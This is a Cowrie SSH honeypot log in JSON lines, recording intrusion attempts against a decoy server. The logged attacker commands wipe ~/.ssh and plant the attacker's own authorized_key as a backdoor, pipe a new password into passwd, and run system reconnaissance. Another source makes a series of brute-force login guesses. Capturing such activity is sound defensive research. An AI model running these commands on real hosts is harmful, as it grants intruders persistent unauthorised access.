{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:26.637445Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:26.639781Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:26.861189Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:26.865374Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":53540,"dst_ip":"10.17.0.5","dst_port":22,"session":"695a1300e5ce","protocol":"ssh","message":"New connection: 154.81.14.172:53540 (10.17.0.5:22) [session: 695a1300e5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:27.066820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:27.072502Z","src_ip":"154.81.14.172","session":"695a1300e5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41224,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f9fad3a74fe","protocol":"ssh","message":"New connection: 2.57.121.25:41224 (159.203.135.109:22) [session: 4f9fad3a74fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:32.151486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:32.156388Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:32.255925Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21081979","message":"login attempt [user/21081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:32.725944Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":54412,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23b63a14fcb","protocol":"ssh","message":"New connection: 154.81.14.172:54412 (10.17.0.5:22) [session: a23b63a14fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:33.071346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:33.076333Z","src_ip":"154.81.14.172","session":"a23b63a14fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:33.734272Z","src_ip":"154.81.14.172","session":"695a1300e5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:33.742526Z","src_ip":"154.81.14.172","session":"695a1300e5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21041981","message":"login attempt [user/21041981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:33.842977Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:34.134396Z","src_ip":"154.81.14.172","session":"a23b63a14fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:34.772925Z","src_ip":"154.81.14.172","session":"a23b63a14fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21011993","message":"login attempt [user/21011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:34.944329Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:35.990033Z","src_ip":"154.81.14.172","session":"a23b63a14fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21011979","message":"login attempt [user/21011979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.046945Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.265063Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.268044Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.489096Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.956119Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admins\\nqIxdnoxWIN7o\\nqIxdnoxWIN7o\"|passwd|bash","message":"CMD: echo -e \"admins\\nqIxdnoxWIN7o\\nqIxdnoxWIN7o\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.959277Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.961886Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:36.964795Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2055","message":"login attempt [user/2055] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:37.148507Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e07d5dd7e0d01c659fc2b99d16410a72d215a7b4c3df6b96fb6976d7a8a0b72","size":32,"shasum":"3e07d5dd7e0d01c659fc2b99d16410a72d215a7b4c3df6b96fb6976d7a8a0b72","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e07d5dd7e0d01c659fc2b99d16410a72d215a7b4c3df6b96fb6976d7a8a0b72 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:37.184599Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:37.661192Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admins\\nqIxdnoxWIN7o\\nqIxdnoxWIN7o\\n\"|passwd","message":"CMD: echo \"admins\\nqIxdnoxWIN7o\\nqIxdnoxWIN7o\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:37.664588Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/65fa5cf4f37237d8bdd79bd5413b1b59cbdca6d164837bf565733d407c1092e9","size":25,"shasum":"65fa5cf4f37237d8bdd79bd5413b1b59cbdca6d164837bf565733d407c1092e9","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/65fa5cf4f37237d8bdd79bd5413b1b59cbdca6d164837bf565733d407c1092e9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:37.885256Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:38.251676Z","src_ip":"2.57.121.25","session":"4f9fad3a74fe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:38.427408Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:38.430961Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:38.653162Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:39.127101Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:39.130626Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:39.352221Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:39.819473Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:39.822783Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:39.825518Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:40.047816Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:40.526475Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:40.529697Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:40.751019Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:41.215953Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:41.219286Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:41.438830Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:41.916505Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:41.919826Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:42.141670Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:42.610527Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:42.613135Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:42.834534Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
